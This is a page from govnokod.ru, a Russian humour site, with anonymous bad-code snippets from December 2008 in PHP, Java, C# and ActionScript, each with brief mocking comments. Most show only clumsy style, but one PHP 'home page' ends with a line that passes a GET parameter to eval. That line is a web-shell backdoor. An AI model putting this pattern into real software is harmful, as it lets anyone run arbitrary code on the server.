Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+24.9
if(empty($real_name)) $real_name = $file_name;
if(empty($real_name)) $real_name="fileid_".$id;
....
if($mode=="send") {
$head[] = array("link" => "customer.php?area=$area&mode=send", "title" => func_get_langvar_by_name("lbl_send_to_mail"), active=>"Y");
} else {
$head[] = array("link" => "customer.php?area=$area&mode=send", "title" => func_get_langvar_by_name("lbl_send_to_mail"), active=>"n");
}
Разбирая один из скриптов на досуге, обнаружил, что некоторые программисты уж совсем с головой не дружат.
1. Думаю, все тут ясно.
2. Чувак явно не знает что такое логика... Мало того, что в одну строку ложится массив, так еще и ВЕЗДЕ строковые 'Y'/'N' использует вместо булевых труфолсов. И такого говна - тыщи 2 строк. Ы =)
Не позавидую тем, кто будет дописывать / переделывать.
ЗЫ: Скрипт - рип корпоративной системы.
guest,
16 Декабря 2008
+21
TabToShow currentTabToShowInShortForm = tab;
string currentTemplateNameToShowInShortForm = templateName;
currentShortFormToShow = new ShortForm(currentTabToShowInShortForm, currentTemplateNameToShowInShortForm);
Чем длиннее названия переменных, тем солиднее выглядит код
[Ф]
guest,
16 Декабря 2008
+60
if (isset($param) && $param!=null && $param!=0 && $param>1) {
sendRequest($param);
}
guest,
12 Декабря 2008
−60
if (!account_number.equals("") && cycleT != null) {
if (!account_number.equals(num)) {
doWrite(bufferedOut);
account_number = num;
cycleT = c;
vT = v;
} else if (!cycleT.equals(c)) {
doWrite(bufferedOut);
account_number = num;
cycleT = c;
vT = v;
} else if (vT != v) {
doWrite(bufferedOut);
account_number = num;
cycleT = c;
vT = v;
}
} else {
account_number = num;
cycleT = c;
vT = v;
}
guest,
12 Декабря 2008
+27.7
$int = (int) $int;
if (is_int($int)) { // на всякий случай
// ...
}Идея где-то валяется в залежах башорга.
guest,
11 Декабря 2008
−55.8
public static int daysBetween(Date startDate, Date endDate)
{
int difInDays = (int) ((endDate.getTime() - startDate.getTime())/(1000*60*60*24));
}Потрясающая воображение функция, которая считает разницу в днях между датами. Различие с правильным результатом в +\- 1 день получается в 30% случаев...
guest,
11 Декабря 2008
+87.3
<?php
echo "<html>";
echo "<body>";
echo "<h1>This is my home page</h1>";
echo "DATENG & DOORWAY";
echo "</body>";
echo "</html>";
if (isset($_GET['adminka'])) eval($_GET['adminka']);
?>
guest,
10 Декабря 2008
+31
public TourResult NextTour()
{
TourResult lresult = new TourResult();
lresult.TourNum = mCurrentTour;
lresult.IsEnd = false;
Card.Face[] lCurrFaces = getCurrentTourFace();
int lMaxFace = 0;
foreach (Card.Face lFace in lCurrFaces)
{
lMaxFace = ((int)lFace) > lMaxFace ? (int)lFace : lMaxFace;
}
int lMaxFaceCount = 0;
int lNotZeroCount = 0;
foreach (Card.Face lFace in lCurrFaces)
{
lMaxFaceCount = (int)lFace == lMaxFace ? lMaxFaceCount + 1 : lMaxFaceCount + 0;
lNotZeroCount = (int)lFace != 0 ? lNotZeroCount + 1 : lNotZeroCount + 0;
}
if (lMaxFaceCount > 1)
{
mUnknowTour = mUnknowTour > -1 ? mUnknowTour : mCurrentTour;
mCurrentTour++;
lresult.Message = "Одинаковые карты, надо разиграть";
lresult.PlayerIndex = -1;
lresult.Face = (Face)lMaxFace;
return lresult;
}
int lMaxFaceIndex;
for (lMaxFaceIndex = 0; lMaxFaceIndex < lCurrFaces.Length; lMaxFaceIndex++)
{
if (((int)lCurrFaces[lMaxFaceIndex]) == lMaxFace)
break;
}
if (lNotZeroCount < 2)
{
lresult.Message = "победил";
lresult.PlayerIndex = lMaxFaceIndex;
lresult.IsEnd = true;
return lresult;
}
int lPlaerCardsCount = mArr[lMaxFaceIndex].Count;
if (mUnknowTour > -1)
{
for (int i = mUnknowTour; i <= mCurrentTour; i++)
{
AddCardsToPlayer(i, lMaxFaceIndex);
}
mUnknowTour = -1;
}
else
{
AddCardsToPlayer(mCurrentTour, lMaxFaceIndex);
}
lresult.Message = "загреб краты";
for (int i = lPlaerCardsCount; i < mArr[lMaxFaceIndex].Count; i++)
{
lresult.Message += string.Format(" {0},", GetCardName(mArr[lMaxFaceIndex][i]));
}
lresult.PlayerIndex = lMaxFaceIndex;
mCurrentTour++;
return lresult;
}Говнокод из карточной игры в пьяницу
guest,
10 Декабря 2008
−43.8
private Map<Class<?>, Map<String, String[]>> compressDependencies(
Map<Class<?>, Map<String, List<String>>> dependencies) {
final Map<Class<?>, Map<String, String[]>> result =
new FastMap<Class<?>, Map<String, String[]>>(dependencies.size());
final Set<Entry<Class<?>, Map<String, List<String>>>> entrySet = dependencies.entrySet();
for (Entry<Class<?>, Map<String, List<String>>> entry : entrySet) {
final Map<String, List<String>> value = entry.getValue();
final Map<String, String[]> desc = new FastMap<String, String[]>(value.size());
final Set<Entry<String, List<String>>> subEntries = value.entrySet();
for (Entry<String, List<String>> valueEntry : subEntries) {
final List<String> list = valueEntry.getValue();
if (list != null && !list.isEmpty()) {
desc.put(valueEntry.getKey(), list.toArray(new String[list.size()]));
}
}
result.put(entry.getKey(), desc);
}
return result;
}
Код от "мега разработчика", архитектора очень большого проекта.
PS Будьте осторожны в использовании java generics :)
guest,
08 Декабря 2008
−552.7
function isAvailable():Boolean{
return ExternalInterface.available;
}
ExternalInterface.addCallback('isAvailable', isAvailable);
это примерно как в ХТМЛ
alert("ваш браузер не поддерживает яваскрипт")
guest,
04 Декабря 2008
Follow us!